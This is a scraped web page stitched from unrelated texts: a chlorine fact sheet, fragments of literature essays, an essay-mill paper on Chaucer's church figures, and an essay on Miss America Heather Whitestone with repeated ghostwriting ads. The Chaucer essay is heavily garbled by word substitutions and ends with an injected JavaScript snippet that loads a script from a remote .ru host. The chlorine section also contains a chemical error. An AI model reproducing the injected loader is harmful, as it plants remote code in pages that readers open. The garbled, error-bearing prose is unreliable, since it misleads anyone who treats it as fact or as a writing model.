10 Chlorine Facts (Cl or Atomic Number 17)

Chlorine (element symbol Cl) is an element you encounter every day and need in order to live.  Chlorine is atomic number 17 with element symbol Cl. Fast Facts: Chlorine Symbol: ClAtomic Number: 17Appearance: Greenish-yellow gasAtomic Weight: 35.45Group: Group 17 (Halogen)Period: Period 3Electron Configuration: [Ne] 3s2  3p5Discovery: Carl Wilhelm Scheele (1774) Chlorine Facts Chlorine belongs to the halogen element group. It is the second lightest halogen, after fluorine. Like other halogens, its an extremely reactive element that readily forms the -1 anion. Because of its high reactivity, chlorine is found in compounds. Free chlorine is rare but exists as a dense, diatomic gas.Although chlorine compounds have been used by man since ancient times, pure chlorine was not produced (on purpose) until 1774 when Carl Wilhelm Scheele reacted magnesium dioxide with spiritus salis (now known as hydrochloric acid) to form chlorine gas. Scheele did not recognize this gas as a new element, instead believing it to contain oxygen. It wasnt until 1811 that Sir Humphry Davy determined the gas was, in fact, a previously unidentified element. Davy gave chlorine its name.Pure chlorine is a greenish-yellow gas or liquid with a distinctive odor (like chlorine bleach). The element name comes from its color. The Greek word chloros means greenish-yellow.Chlorine is the 3rd most abundant element in the ocean (about 1.9% by mass) and 21st most abundant element in the Earths crust.There is so much chlorine in the Earths oceans that it would weigh 5x more than our present atmosphere if it were somehow suddenly released as a gas.Chlorine is essential for living organisms. In the human body, its found as the chloride ion, where it regulates osmotic pressure and pH and aids digestion in the stomach. The element is usually obtained by eating salt, which is sodium chloride (NaCl). While its needed for survival, pure chlorine is extremely toxic. The gas irritates the respiratory system, skin, and eyes. Exposure to 1 part per thousand in air may cause death. Since many household chemicals contain chlorine compounds, its risky to mix them because toxic gases may be released. In particular, its important to avoid mixing chlorine bleach with vinegar, ammonia, alcohol, or acetone.Because chlorine gas is toxic and because its heavier than air, it was used as a chemical we apon. The first use was in 1915 by the Germans in World War I. Later, the gas was also used by the Western Allies. The effectiveness of the gas was limited because its strong odor and distinctive color alerted troops to its presence. Soldiers could protect themselves from the gas by seeking higher ground and breathing through damp cloth since chlorine dissolves in water.Pure chlorine is obtained primarily by electrolysis of saltwater. Chlorine is used to make drinking water safe, for bleaching, disinfection, textile processing, and to make numerous compounds. The compounds include chlorates, chloroform, synthetic rubber, carbon tetrachloride, and polyvinyl chloride. Chlorine compounds are used in medicines, plastics, antiseptics, insecticides, food, paint, solvents, and many other products. While chlorine is still used in refrigerants, the number of chlorofluorocarbons (CFCs) released into the environment has dramatically declined. These compounds are believed to have contributed si gnificantly to the destruction of the ozone layer.Natural chlorine consists of two stable isotopes: chlorine-35 and chlorine-37. Chlorine-35 accounts for 76% of the natural abundance of the element, with chlorine-37 making up the other 24% of the element. Numerous radioactive isotopes of chlorine have been produced.The first chain reaction to be discovered was a chemical reaction involving chlorine, not a nuclear reaction, as you might expect. In 1913, Max Bodenstein observed a mixture of chlorine gas and hydrogen gas exploded upon exposure to light. Walther Nernst explained the chain reaction mechanism for this phenomenon in 1918. Chlorine is made in stars via the oxygen-burning and silicon-burning processes. Sources Greenwood, Norman N.; Earnshaw, Alan (1997). Chemistry of the Elements (2nd ed.). Butterworth-Heinemann. ISBN 0-08-037941-9.Weast, Robert (1984). CRC, Handbook of Chemistry and Physics. Boca Raton, Florida: Chemical Rubber Company Publishing. pp. E110. ISBN 0-8493-0464-4.Weeks, Mary Elvira (1932). The discovery of the elements. XVII. The halogen family. Journal of Chemical Education. 9 (11): 1915. doi:10.1021/ed009p1915Winder, Chris (2001). The Toxicology of Chlorine. Environmental Research. 85 (2): 105–14. doi:10.1006/enrs.2000.4110

Literature Compare and Contrast - Literary Devices

Literature: Compare and Contrast Literary Devices Kathy J. Shannon University of Phoenix Mickeal M. Donald, Instructor September 3, 2010 Compare and Contrast Literature offers a variety of literary works by authors of all ages, writing non-fiction and fictional stories, poetry, and essays. The act of analyzing two different authors by both comparing their work and isolating their contrasting elements, can be difficult, yet rewarding. Oedipus Rex (Sophocles), written in 429 B.C., offers the authors use of Greek Mythology, oracles, Greek gods, deception, and murder. Throughout the series of events, the reader is given clues to the true identity of the murderer resulting in a traumatic climax. Sophocles writes with certainty†¦show more content†¦Is it just pride that causes the relentless drive to please the people of Thebes for Oedipus? Perplexed at where to begin to find the person or persons responsible for this evil, Oedipus turns to Choragos, leader of the Chorus, for direction. At the suggestion of Choragos, Oedipus sends for the lord clairvoyant, Teiresias, to learn what he knows. Led in by a servant, the blind clairvoyant is belligerent and refuses to tell what he knows, taking it to his grave. Oedipus is furious and demands to know or he will face dire punishment. Against his will, Teiresias reveals that it is Oedipus polluting his country. This exchange is one of Sophocles use of metaphors. Oedipus accuses Teiresias of having eyes peeled for his own profit-seer blind in his craft! (Novelguide.com). Teiresias response is a sardonic reply telling Oedipus that you with your precious eyes, youre blind to the corruption of your life (Novelguide.com). Accusations surface by the king saying Creon had suggested he seek the wisdom and knowledge of Teiresias and, after these demonic accusations, they must have invented the lies to discredit the king. Oedipus, enraged, charges Creon with envy his position and power. He tells the people Creon, whom he trusted and believed to be his friend, wants to destroy him to take his place as king. In his defense, Creon faces Oedipus, and his absurd fin ger-pointing, by passionately denying everyShow MoreRelatedEssay on Shakespeare: A Literary Grandmaster699 Words   |  3 Pagessimply become the father of English literature. To be coined such a grandiose title requires the approval of many, and especially the king of England. Although an entertaining storyline does earn one respect as a writer/poet. It was Shakespeare’s masterful use of literary devices that garners the respect and acknowledgement of many modern day professors. In Act 3, Scene 1, Hamlet begins a soliloquy in which Shakespeare showcases his literary genius. A literary device that is often overlooked in theRead MoreBroken Chain by Gary Soto1505 Words   |  7 Pages1.0 --word analysis, fluency, and systematic vocabulary development vocabulary practice vocabulary quiz reading standard 2.0 -- focus on informational materials how to fix a broken chain rules of the road: bike safety tips reading standard 3.0 -- literary response and analysis quiz: broken chain through the text: story map, dialectical journals, focus questions, etc. writing standards 1.0 2.0 -- strategies and applications autobiography evaluation writing strategies standard 1.0 language conventionsRead MoreMy Personal Literary Theory Of Literature976 Words   |  4 Pages It is amazing how the same piece of literature can offer different insight, interpretation, and understanding to a person at different stages of their life. I’ve been able to see this throughout my own life as increased knowledge and experience has led to the evolution of my approach to literatu re. As of late, I tend to apply the following personal literary theory when presented with a literary work. First, I try to search for morals and lessons that I can draw from the text. I enjoy doing thisRead MoreThe Theme Of Loneliness1549 Words   |  7 PagesIn â€Å"A Clean, Well-Lighted Place,† by Hemingway and Miss Brill by Katherine Mansfield what they both have in common is the literary device theme loneliness. Theme is the general idea or insight revealed in a narrative. These two stories are also different from the style of writing these two authors wrote how to tell their stories. Loneliness is introduced in the beginning of the short story â€Å"A Clean, Well-Lighted Place† by Hemingway. The deaf old man, with no wife and only a niece to care for himRead MoreTheme Of Literary Devices In Harrison Bergeron1116 Words   |  5 PagesESSAY TITLE Literary devices will be a primary source used to compare and contrast the narrative and stylistic choices made in the short story, â€Å"Harrison Bergeron† by Kurt Vonnegut, and the film 2081 directed by Chandler Tuttle. In the film the director is able to express visuals, sounds, and physical characters, to establish a firm idea of how the characters within the story act and feel based on their surroundings and what is happening around them. However, an Author in a short story is reliantRead MoreHerman Melville s Moby Dick1358 Words   |  6 PagesIn literature, the truly memorable characters are those special individuals that arouse powerful emotions in the reader. Herman Melville’s Moby-Dick contains a man who is among the unforgettable characters of literature: Ahab, sea-captain of the whaling ship the Pequod. Ahab is a mysterious figure to Ishmael, the narrator of the tale, at first. Despite the captain’s initial reclusiveness, Ishmael gradually comes to understand the kind of man that Ahab is and, most importantly, the singular obsessionRead MoreDramatic Irony In Gullivers Travels813 Words   |  4 Pagessatires. Swift makes satirical effects to the fullest by using techniques of irony, contrast, and symbolism. The story is based on then British social reality. He not only satirizes on then British politics and religion, but also, in a deeper facet, on human nature itself. Swifts superb rendering of satires leads Gullivers Travels to becoming a milestone looked up to by future literary persons in satirical literature. There are at least three types of satirical technique presented in Gullivers Travels:Read MoreRhetorical Analysis Of Alexander Pope s An Essay1310 Words   |  6 Pagesinformal essay is characterized by the personal element (self-revelation, individual tastes and experiences, confidential manner), humor, graceful style, rambling structure, unconventionality or novelty of theme, etc.[1] Essays are commonly used as literary criticism, political manifestos, learned arguments, observations of daily life, recollections, and reflections of the author. Almost all modern essays are written in prose, but works in verse have been dubbed essays (e.g., Alexander Pope s An EssayRead MoreChinua Achebe s Things Fall Apart1308 Words   |  6 PagesIn Things Fall Apart by Chinua Achebe, the reader is taken on a literary journey to a Nigerian tribe, the Umuofia, to experience first-hand the struggles of a warrior named Okonkwo. At first glance, the novel appears to be written for a very specific audience: scholars familiar with Nigerian history, traditions, and culture. However, upon further examination the novel reveals itself to be a striking chronicle of human experiences, universal themes, and timeless struggles that appeal to every humanRead MoreCompare and Contrast the Romantics: William Blake and Mary Wollstonecraft1041 Words   |  5 PagesCompare and Contrast The Romanti cs: William Blake and Mary Wolstonecraft Mary Wollstonecraft’s A Vindication of the Rights of Woman sets out to invalidate the social and religious standards of her time in regards to gender, just as William Blake sets out to do the same for children. Both Blake and Wollstonecraft can be read by the average man and woman, lending its attention toward both upper and middle class. Wollstonecraft’s revolutionary themes of tyranny and oppression of women parallel

The Caterbury Tales Essay Research Paper When free essay sample

The Caterbury Tales Essay, Research Paper When thought of the figures in the church, they are thought to be loyal, respectful, giving, and dedicated. Sadly to state this, but non all figures follow that description. In # 8220 ; The Canterbury Tales # 8221 ; , Chaucer shows the corruptness of the church in the medieval period through some of his characters, peculiarly through the Nun, the Monk, and the Friar. Yet, Chaucer does demo one character, the Parson, as goodness and sanctity in the church. Nuns are member of a spiritual order for adult females, populating in a convent under vows of poorness, celibacy, and obeisance. Their orders vary in the judicial admissions of the vows, some being lasting, and others merely for fixed periods of clip. The orders vary in frock, intent, and regulation, but by and large follow the same basic rules. The nuns are devoted to a strictly brooding life or to a life of charity, including learning and nursing. The caput of convent is addressed by a figure of different names including mother superior, abbess, and mother superior, and a nun is by and large addressed as # 8220 ; Sister. # 8221 ; Madam Eglantyne is non all what she is expected to be. Even though her smiling may be # 8220 ; really simple and demure # 8221 ; ( Prologue, 123 ) , she is non into the life of charity or wholly giving herself to God. She owned small Canis familiariss and cried when one of them died. She is yeasty and is # 8220 ; really entertaining, pleasant, and friendly in her ways # 8221 ; ( Prologue, 141-142 ) . She has rose-colored cheeks with a broad brow, which in these times is thought of a mark of beauty. She wears # 8220 ; a coral bangle on her arm # 8221 ; ( Prologue, 162 ) with gaudies, big praying beads, and a # 8220 ; aureate broach of brightest shininess # 8221 ; ( Prologue, 164 ) with a sculpted Crown stating # 8220 ; amor vincit omnia # 8221 ; ( Prologue, 166 ) significance Love conquers all. Worldly ownerships are non allowed for nuns to hold yet she has a Canis familiaris, a bangle and a broach. One positive point is that she does hold a clean oral cavity and tickers what she says. Monks have abandoned the universe for spiritual grounds and give their lives, either individually or in a community, to religious flawlessness. The vows of celibacy, poorness, and obeisance under which they live, are termed the spiritual advocates. A individual bound by such vows is known as a spiritual. gt ; Chaucer # 8217 ; s Monk # 8217 ; s athletics was runing. # 8220 ; The Rule of good Saint Benet or Saint Maur # 8221 ; ( Prologue, 177 ) says # 8220 ; huntsmans are non holy work forces # 8221 ; ( Prologue, 182 ) . He does non maintain to his surveies, but alternatively would instead be making labour. In add-on, he holds worldly ownerships, such as his # 8220 ; wrought-gold cunningly fashioned pin # 8221 ; ( Prologue, 200 ) , which shows that he has money. Friars differ from monastics, in that the monastic was attached to a specific community within which he led a withdrawn life, holding no direct contact with the secular universe. Friars, on the other manus, belonged to no peculiar cloistered house, but to a general order and worked as an person in the non-religious universe. Therefore, mendicants and monastics are non on synonymous footings. Friars are members of certain spiritual orders who pattern the rules of cloistered life and give themselves to the service of humanity in the secular universe. Originally, their regulations forbid keeping either community or personal belongings. The ensuing dependance of mendicants on voluntary parts in order to populate, caused them to be known as mendicant orders. Charging people to hear their confessions is wholly pathetic. Peoples come to them for aid, and in this instance, the Friar is selfish and can merely believe about wealths. The Friar frocks like a Catholic Pope, or a physician would hold in those yearss. He carries around a pocket knife. What would he necessitate that for? He pushes off the sick and mendicants. He has a beautiful voice and is married. Besides, he is believed to be playful and may kip around with other adult females. The Parson is known as # 8220 ; a holy-minded adult male of good fame # 8221 ; ( Prologue, 487 ) . He had small money, yet he gave what small he had to the hapless. The Parson # 8220 ; genuinely knew Christ # 8217 ; s Gospel and would prophesy it # 8221 ; ( Prologue, 491 ) . # 8220 ; Never disdainful, neer to proud or ticket, but was discreet in instruction and benign. # 8221 ; ( Prologue, 525-526 ) He was the theoretical account of what a figure in the church should be like. The church figures of mediaeval times may hold been making incorrect and been selfish. But at least there is some that did good, such as the Parsons. He is the function theoretical account to be followed, non the Nun, Monk, or the Friar. Chaucer shows how the church was in Medieval times in his Prologue of # 8220 ; The Canterbury Tales. # 8221 ; ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Miss America- Heather Whitestone Essay Example

Miss America- Heather Whitestone Paper When she was 5 years old, she began to do ballet lessons. Her mother wanted her to understand that theres natural rhythm in the voice. The fluctuations of ballet music and movement helped her grasp that. With her talent and extensive training, Heather was good enough to become a professional dancer. But the professional dancer gets meager paychecks and would have to live with her mother. She wanted to be Independent. At the next pageant, Miss Jacksonville State University, she was upfront about being deaf. She asked the Judges to speak slowly and they accommodated her. She won the 1 992 Miss Jacksonville State University title and went on to be 1st runner up to Miss Alabama 1 992, Kim Wimpier. The following year she won the MISS Point Mallard competition and once again, placed 1st runner up to Miss Alabama, Sally Chapman. After she became Miss America, she showed much dedication to the Deaf Community by serving on the executive board for the Presidents Committee on Employment of People with Disabilities. She helped establish a multimedia public service campaign to help identify early hearing loss. She was also a spokesperson for the Helen Keller Eye Research Foundation and the Starkey Hearing Aid Foundation. Now, she is married to a guy named John McCollum. We will write a custom essay sample on Miss America- Heather Whitestone specifically for you for only $16.38 $13.9/page Order now We will write a custom essay sample on Miss America- Heather Whitestone specifically for you FOR ONLY $16.38 $13.9/page Hire Writer We will write a custom essay sample on Miss America- Heather Whitestone specifically for you FOR ONLY $16.38 $13.9/page Hire Writer She met him while he was working for the Speaker of the House, Newt Ignoring in Washington DC and they dint start dating seriously until a month after she gave up her title, and then soon after that they got engaged. They got married on June, 8th, 1996. They have now had two boys and are living in Georgia. I think Heather Whetstone is a great inspiration to the world because she definitely showed everyone that a deaf person can talk, can achieve and is able to do anything. Thats why I admired her so much, because it shows me that any deaf person including me can accomplish anything.